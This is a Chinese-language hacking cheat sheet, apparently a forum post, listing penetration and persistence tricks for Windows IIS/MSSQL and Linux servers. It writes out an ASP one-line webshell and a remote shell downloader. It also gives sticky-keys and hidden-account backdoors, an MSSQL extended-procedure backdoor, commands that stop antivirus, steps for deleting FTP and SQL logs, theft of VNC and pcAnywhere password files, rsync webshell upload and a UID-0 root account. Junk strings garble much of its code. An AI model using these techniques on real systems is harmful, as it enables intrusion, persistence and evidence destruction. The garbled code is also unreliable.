渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
' y( m+ ~, \0 t3 r5 u2 L" @On Error Resume Next
* h4 _8 L% q! H' [1 ^# vIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
7 ]# L8 m2 W% C6 ]. q* A" R, pSet ObjService=GetObject
: v& ~9 ^* @7 V5 b) |0 F2 M" s; g
3 U) M9 l% h, Z+ Y7 ^( `("IIS://LocalHost/W3SVC")
* V$ g' n" }1 o  v4 _+ IFor Each obj3w In objservice
( X8 d5 x& w9 \1 `        If IsNumeric(obj3w.Name)
* L* ]2 H, ?4 ]7 A& A" F0 Z: w
% t0 f4 f4 N5 K% [. k% S7 aThen
9 o/ c+ s; m$ ~2 |3 {: I/ X                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
$ N% S  n. H0 j4 k1 g* _) P         

0 i/ C% K6 z) d3 e9 F       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
4 U8 j% }& e! @                If Err
6 N2 f3 s+ d. {
<> 0 Then WScript.Quit (1)
2 x0 S: F* b' ^& Z                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
2 I# T; y1 V% ?                For Each Binds In OService.ServerBindings
     
: C* u0 i; `) N" p1 Y- I( j6 q
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
- H8 }0 q) C7 F3 K- h5 l                        
9 U9 ~0 s* s- o7 k
) D' j) d/ a7 j# d5 u  oWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
6 f) ]$ C5 _0 n# H) O2 R2 c                Next
9 u% y5 U. \" Z( K& M. u2 ^( z0 b      

' @3 ^0 h' Q; c' ?0 |& J         WScript.Echo "ath            : " & VDirObj.Path
        End If
1 x$ Z* J+ S' X# P' B: mNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
5 s1 v/ J/ q) D4 i( s7 F; J4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
- ]7 o+ A) T9 t' v; O—————————————————————
" g& W. n7 `4 WWordPress的平台，爆绝对路径的方法是：
  v/ Q1 y0 n, j: e6 hurl/wp-content/plugins/akismet/akismet.php
3 f! g/ l2 r' l6 durl/wp-content/plugins/akismet/hello.php
! @+ B# ?; w& \——————————————————————
8 ]1 T5 K1 k  G9 \! fphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
8 ?* h, l) g. V: y% V& ]网站可能目录(注：一般是虚拟主机类）
8 H  k+ U' h0 K: Rdata/htdocs.网站/网站/
; |: J# ]2 b0 A2 v- B6 w/ o————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
0 h& I( B, k/ l) q3 G) vnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
* l) O) C% l4 k! Y2 Knetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
9 J; r9 p) T' z" ]0 I1 Z5 f( inetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
# B: \8 T; A1 ?% A3 v* [————————————————————
8 F2 {; W8 L- R7 v命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
$ a- o/ d4 g3 ^5 Q. ]exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
& _5 O9 t1 P, s0 |, ?然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
  {: W# O. ~  M6 O# M% a( V
另类的加用户方法
0 B' z8 u, |, c: k* _6 t% r/ j在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
8 b% [5 I( Z  v3 G5 A6 V, v% Ajs:
0 a) p' M$ x, O6 B0 w; o$ B( A  k4 Vvar o=new ActiveXObject( "Shell.Users" );
% M, ~0 z/ |. s) W0 hz=o.create("test") ;
z.changePassword("123456","")
" t# C8 \1 o% |* Rz.setting("AccountType")=3;
% Y( ^  o- W. q% m9 Y+ c0 n
vbs:
& I1 F1 ?4 f  g" B  G. |# c) |5 e& sSet   o=CreateObject( "Shell.Users" )
# h) @. S% e) t; MSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
% G; @4 o7 |7 [. `3 [+ p! e2 j$ S/ r——————————————————
3 Q& S& D; T. Z' F# G  o$ i6 x1 U( kcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
% G" X' Y7 I3 e+ a3 x, p
命令如下
6 n& D3 p) m8 c* [( P. M* e0 ucacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
4 |* A/ ~; j& U) ~: o# i3389相关
" _0 T% l, t9 B4 e7 Ma、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
$ k3 T, T3 p( _6 mb、内网环境（LCX）
c、终端服务器超出了最大允许连接
- M+ H# a  \+ M# S/ {XP 运行mstsc /admin
- x6 y  V: j5 q3 A8 O/ J* h; N2003 运行mstsc /console   
" I0 E# m/ O" M3 J5 j
5 \0 o  @: ]9 w7 d- R9 ]: E& [! E杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
4 M" Z3 V. z# m- Onet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
' o  _: C* G: U* i5 N' |
& @# ~) z# V% _2 A; `6 M. n卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
- Z" i  D* p- Q0 e/ I4 {copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
- o4 c0 x, I1 ]- |+ d* ncopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
5 L0 H6 l2 _0 Q& X  r——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
6 Q4 L8 E9 a5 x1 j/ q. b7 A2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
+ p$ }& b) L4 B5 w7 K$ V——————————————————————
MSSQL扩展后门：
USE master;
8 r% [1 ]8 w& v/ K9 F2 K% B# pEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
* p& P$ A  d# E. w日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
' \/ V) l* R+ K直接删除 ex0111124.log
3 K0 \7 {4 z: L) y* E! u不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
- @2 ^6 Z8 J  m, q, ~- M9 O用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
5 Q+ [2 c) d9 Y+ s# [$ O7 A0 l当停止msftpsvc服务后可直接删除ex011124.log

* d3 \7 u; A# {! {/ t. a3 n' QMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
7 n1 F% V4 @- ]+ E  |1 Z- bMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

$ E3 Z4 u6 Q) ^" d' f2 vServer\90\Tools\Shell\mru.dat
5 v' Z% N3 N8 g3 U( b—————————————————————————
: H# q5 ^7 s! _1 z  Q9 Q+ I) k  m) ^防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
8 a8 O- i% J0 b! J6 r
<%
, q5 x% p4 }! p/ e* i( W9 eSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
! h# f' f/ y/ z6 j4 d" kOn Error Resume Next
9 C1 E5 L! v. E+ KSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
/ B1 e! y- h. M% N' C, xWith Retrieval
* y9 O1 b" A8 e; E7 i  o.Open "Get", s_RemoteFileUrl, False, "", ""
, Q  I! o1 G8 T9 _/ B9 m2 X.Send
  D. Q* ^( n4 A) HGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
( s3 @  j" s% h( w  HWith Ads
/ A; g& L$ E# ]6 _1 i- ?/ M.Type = 1
. o) ^2 v/ F8 X( N+ }: j  ?.Open
, V8 Q4 e2 s* O0 C7 i  Z.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
- ]5 x* ^$ k$ @' c5 r0 g8 m7 I.Close()
End With
' k  n9 B3 i" p, b% uSet Ads=nothing
6 M  n4 C9 Q1 o* `! VEnd Sub
3 h' U& q8 L8 \
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
6 w' y+ L& Z/ x6 k1 ]
VNC提权方法:
+ r+ f/ k( r! z0 b/ c" K, L0 F% `- |利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
9 i2 g" _2 g0 u! NRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
% _( E3 J/ z+ I% c$ ?$ ^然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
. F& m, I% {' I: E$ ^Users\Application Data\Symantec\pcAnywhere\文件夹下。
) Q7 C: Z  |1 f——————————————————————
* F/ D. W8 n6 Q+ C' s搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
8 x4 m( g! i/ X6 H——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
8 ~8 c+ k" E% U8 _& t* z2 X" t$ n<%
strSQLServerName = "服务器ip"
3 T( E% W# }9 RstrSQLDBUserName = "数据库帐号"
! M) V1 |+ ]& y& J7 vstrSQLDBPassword = "数据库密码"
; q/ w8 s5 T) {. MstrSQLDBName = "数据库名称"
* J( K& ~8 \# i( |) BSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
" d2 @+ i2 ?, ]5 f* Y# \
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
) M2 m# `' _# N/ h! W- Lconn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
! f5 X6 ?: ^% D( C* U. sstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
2 d- y' Y3 _5 ^) d4 R, M5 ~: V, v3 q%>
* ~# b# C7 f2 B复制代码
******liunx 相关******
一.ldap渗透技巧
- [1 }, L: }- Z' a6 L1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

- Z1 _  J. P, H' Y3 A2.less /etc/ldap.conf
; k" M$ v! s7 _0 nbase ou=People,dc=unix-center,dc=net
, b3 e( v6 W! Z; C5 D找到ou,dc,dc设置

# {( h6 o- P. Y( u2 l7 e/ p6 n3.查找管理员信息
匿名方式
* X& o) l: o; v6 K* y# u6 [: }1 Oldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
" H  i" L, N* d( a
% l$ O6 C; B( r# c# ^"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
, z/ H/ `, I3 ~4 K有密码形式
8 t* ^4 d: p4 c2 p1 o1 Eldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% ]7 N3 G4 z& Y5 e, K
# n2 e% K9 V  H2 s3 J' ["cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
& C$ n# A4 P% Y& E6 C, B# m$ J

8 o' }. B7 F- o3 r0 k4.查找10条用户记录
) U" C3 b# J. i% I% dldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
: X% {8 B0 u* c
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

& b0 i6 z; I5 }7 b' F; w2.less /etc/ldap.conf
& j- ~+ w9 d( b+ s" Q+ F( tbase ou=People,dc=unix-center,dc=net
* z) w6 b6 P* O找到ou,dc,dc设置

" @3 B0 L1 w7 g/ Z0 P/ [3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 j( u1 W& f2 l! n) ~' A5 z
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# k. \& l9 e. W' R/ W& E有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* M4 T3 ]3 `/ [
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* ]$ v! m; e5 y2 R# w  J

4.查找10条用户记录
. n# w# b4 ?* t: Mldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

. K) n. V; \8 E7 G0 p, a渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
9 V' a# ]8 }/ i8 |: o+ ]! B, P) T7 R4 YobjectClass: domain
, s" Q3 d: D$ ~! U* L  N
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
- L) Y  Y5 o' xobjectClass: inetOrgPerson
objectClass: organizationalPerson
- P/ j9 ]) n0 w* V  c7 `  V- @objectClass: person
objectClass: top
9 u8 S9 Q* O7 {# Q: p% [# osn: manager
cn: manager
' z1 n* `/ ^# T6 z* S( [1 z4 V
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
0 N6 ]0 \  |, o' O) ]8 yuid: superadmin
objectClass: inetOrgPerson
* |( v" J/ W9 iobjectClass: organizationalPerson
objectClass: person
objectClass: top
# M' }- v" S5 p$ V3 ysn: superadmin
cn: superadmin

6 y$ b. g3 b. V2 s" I: q0 {& Y  ]dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
$ W6 Q" n5 q; ?* zobjectClass: inetOrgPerson
0 B' D, J2 Q5 l% p) E6 BobjectClass: organizationalPerson
objectClass: person
+ S2 f" T6 o0 |; b: I8 C2 C% O6 @3 DobjectClass: top
sn: admin
/ p- a, [. n1 f; Ccn: admin
# h: A1 q3 o: g
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
4 c, B2 W+ J" q5 aobjectClass: person
0 q: |( S+ D" ^objectClass: organizationalPerson
) e! B5 Q$ B3 l+ v  _* f5 dobjectClass: inetOrgPerson
, ^7 @- c* n& M; Isn: dcp_anonymous
cn: dcp_anonymous

  M2 g! i) {, I; @( M" w2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

. H; @; V. Y' t4 Cmore
& J- [+ [$ s( R5 @$ c$ }6 X3 W7 Xversion: 1
! V' s4 I) N6 L# w! M* Adn: dc=ruc,dc=edu,dc=cn
8 y+ f3 a7 P3 Xdc: ruc
! R" X5 G  Y' d4 d# QobjectClass: domain
9 V' b4 e6 [, C; n7 T; L
' j8 U, r# c9 H4 D8 {# d3.查找
- [+ _5 o* q2 Q7 ^% Q- b1 P! Q2 lbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
) t5 I$ \; ]7 h* Y9 ]) Q( J% r: Tversion: 1
& u% g; u9 K0 ~. H" {, |dn:
objectClass: top
4 j, {& N! a5 _namingContexts: dc=ruc,dc=edu,dc=cn
# i" d% r. P+ ^& I! ZsupportedExtension: 2.16.840.1.113730.3.5.7
7 j- a: S& n+ |# f2 lsupportedExtension: 2.16.840.1.113730.3.5.8
* o5 F6 s  }* U# o" g/ s' vsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
! V% }- T/ \% c4 A6 bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
* v5 T5 t+ y! d2 o! K3 i# d, }supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
6 ^. A+ ]4 J# M$ |& p: _% ~supportedExtension: 2.16.840.1.113730.3.5.6
, n( z5 }8 E1 N; R2 F5 r/ k1 PsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
9 H) [8 e) ]5 EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
' V' I0 \: ?! B7 x1 ?; X& vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
2 r( \4 J' T- BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
* f8 `( s- r+ v; YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
# Z0 J1 z. ^% r- e% q3 r4 Y2 e! WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
9 L6 F  Z( z9 Q& ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
* Y6 c1 `6 D. Q1 x6 RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
, G8 [% h3 r+ w' UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
$ Y) c4 b4 H# @- y7 O( q4 j' rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
# `+ I( F& x9 }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
& J5 E7 H; I. o3 P, c  OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
0 p2 l! f/ |1 \$ vsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
8 N: X* U- g" H5 U4 `* x: x' RsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
% H8 b# ~- `$ q' P* AsupportedControl: 1.2.840.113556.1.4.473
. M6 Y# s/ V# k7 C7 ^! g' LsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
* |9 [  R* {2 O1 b9 B4 WsupportedControl: 2.16.840.1.113730.3.4.17
8 s/ ?' [' J; R0 ?" [supportedControl: 2.16.840.1.113730.3.4.19
: u- K1 A% s+ e/ `4 a) P! z' ]; UsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
# E6 J7 h( x# s! r1 Y9 T8 ]supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
" b& K& b0 ?; L/ P- ~2 D/ I! msupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
3 o$ I8 k* s2 Z4 ]5 F- C0 H8 vsupportedControl: 2.16.840.1.113730.3.4.18
2 C  `' Z5 s" w$ t1 osupportedControl: 2.16.840.1.113730.3.4.13
4 M  d5 }) e/ `2 z1 v# ^  s' ksupportedSASLMechanisms: EXTERNAL
; O# C2 [  f2 B. ^( }supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
( A( B0 i: z& r. Y  ~5 |+ B5 \vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
5 m1 N, J. d; Enetscapemdsuffix: cn=ldap://dc=webA:389
: l- g* f) n4 p: B( NsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
) N7 ^- R, m, |/ z4 t5 VsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
5 m# P* `+ H8 vsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
5 V/ I1 b" K. S% h; F2 H: m- EsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
5 x3 i! k, a$ o, @supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
( ?4 l: m6 c' x8 v  lsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
  j: q! w/ b0 [5 B% f' jsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
6 N" s" }" P! V  t7 TsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
7 ]: Z0 a- m: y$ G- d& Z2 PsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
- ~& r: h% R, o3 }; osupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
2 P. d% g# `& T) Y3 hsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
1 ~- J4 C# V+ f% B6 R$ V+ ~supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
4 O* P. _3 K) k% H6 C3 JsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
. v# c7 n/ }3 g$ tsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
& D& m- l1 A# ]  WsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
$ w: _  j/ \8 D2 I* E+ y! c2 g4 psupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
8 c" L- W3 s' _' P8 FsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
8 m: D' Q' f  m1 ~supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
$ Q; y+ y( {+ wsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
" F" Q' q) h  U* ~" f$ p  B) FsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
8 `9 \8 m; A- Q! {supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
5 U1 j1 n& [- ^5 `% C2 b% @supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
: C/ Z8 }3 y, lsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
0 _  }: a; D' ]" w9 zsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
  E2 e3 `& D3 q1 N1 tsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
+ L. o$ n( c8 f) ^5 X1 k0 m$ GsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
+ `$ h, _$ M; {supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
9 l- s( P+ N. h+ @supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
0 _5 {5 u+ R4 f( I* j9 {supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
# _" A3 @+ _" H) a3 @————————————
2. NFS渗透技巧
6 c: [8 Q, a- q$ oshowmount -e ip
/ _7 X. H$ v1 X/ F) ?5 ]9 J9 H列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
6 u/ g% U2 H& drsync 210.51.X.X::
finance
4 W; x- e$ t+ e5 A. |img_finance
auto
* w0 a; |: @( \img_auto
3 @+ h9 K  `& h) ~9 ]html_cms
img_cms
1 t0 T5 j. i$ }ent_cms
ent_img
2 _! s( b( r. b! Z6 cceshi
res_img
" s6 F! L7 d4 V& Y" ?' wres_img_c2
5 l! a6 ~+ l" O2 }4 Nchip
6 }) `3 d: c9 e! a. ^0 |chip_c2
# X  Z: G& ~# ~+ {2 M! Xent_icms
( @5 C9 ~+ q1 F# Dgames
gamesimg
media
+ o1 ~2 Y0 `4 K* ]- m) vmediaimg
fashion
8 y& R$ \5 M9 P9 X; Vres-fashion
res-fo
0 S; e* k+ e# x' Itaobao-home
8 M! P4 d' f2 `! i- Z4 vres-taobao-home
7 @6 r+ h$ J3 k2 s  phouse
3 z9 G8 T& D( I$ j" O' T4 Ares-house
res-home
0 }/ W% v* R% ]res-edu
' Z' Q) ?" _6 v1 V9 Bres-ent
  ]' o& N$ z1 n7 Sres-labs
0 N4 _, u; }( _. Gres-news
res-phtv
res-media
& Y. ]# l( p: Z2 Shome
% u, A2 h+ V. O3 Z0 M. pedu
news
res-book

看相应的下级目录(注意一定要在目录后面添加上/)

$ C$ x7 H/ f9 s3 @, h( V
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
" v  f" z, H( \; x8 t
3.向上更新rsync文件(成功上传,不会覆盖)
- k" P" H! s  [( {- P$ O; Brsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
& X. j0 @3 _7 f! u% b8 vhttp://app.finance.xxx.com/warn/nothack.txt

4 r( \5 J6 U0 b1 S3 [2 {& S四.squid渗透技巧
7 R6 a% Y# k& T5 u8 v7 m( g  m% Xnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
) @% a, s) T4 O; J- o  J( |ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
' z3 Q' E$ d8 p' L
重新设置密码
! @& B* L1 q, A+ s. E; r. M; ^index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
/ X, v; p: n0 G# W1 H. B: |useradd -o -u 0 nothack
